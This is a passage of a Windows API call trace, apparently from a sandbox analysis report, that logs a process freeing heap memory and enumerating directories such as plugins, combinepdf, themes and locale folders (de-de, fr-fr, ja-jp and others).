	[0184.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.819] FindNextFileW (in: hFindFile=0x4142e18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1
	[0184.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.824] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1
	[0184.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0184.827] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadcac | out: lpFindFileData=0x2fadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1
	[0184.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0184.827] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadcac | out: lpFindFileData=0x2fadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0
	[0184.827] FindClose (in: hFindFile=0x4142e98 | out: hFindFile=0x4142e98) returned 1
	[0184.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.828] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0
	[0184.828] FindClose (in: hFindFile=0x4142898 | out: hFindFile=0x4142898) returned 1
	[0184.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.828] FindNextFileW (in: hFindFile=0x4142e18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0184.828] FindClose (in: hFindFile=0x4142e18 | out: hFindFile=0x4142e18) returned 1
	[0184.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.830] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0184.830] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0184.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.830] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1
	[0184.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.838] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0184.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.847] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0184.847] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0184.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0184.849] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0184.850] FindClose (in: hFindFile=0x4142b58 | out: hFindFile=0x4142b58) returned 1
	[0184.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.850] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0184.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.856] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0184.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.858] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0184.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.858] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0185.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.004] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0185.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.010] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0185.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.031] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0185.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.031] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0185.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.048] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0185.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.049] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0185.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.051] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0185.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.051] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0185.053] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.053] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0185.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.055] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0185.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.055] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0185.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.055] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0185.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.058] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0185.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.058] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0185.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.058] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0185.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.062] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0185.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.062] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0185.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.062] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0185.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.062] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0185.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.064] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0185.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.066] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0185.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.067] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0185.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.068] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0185.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
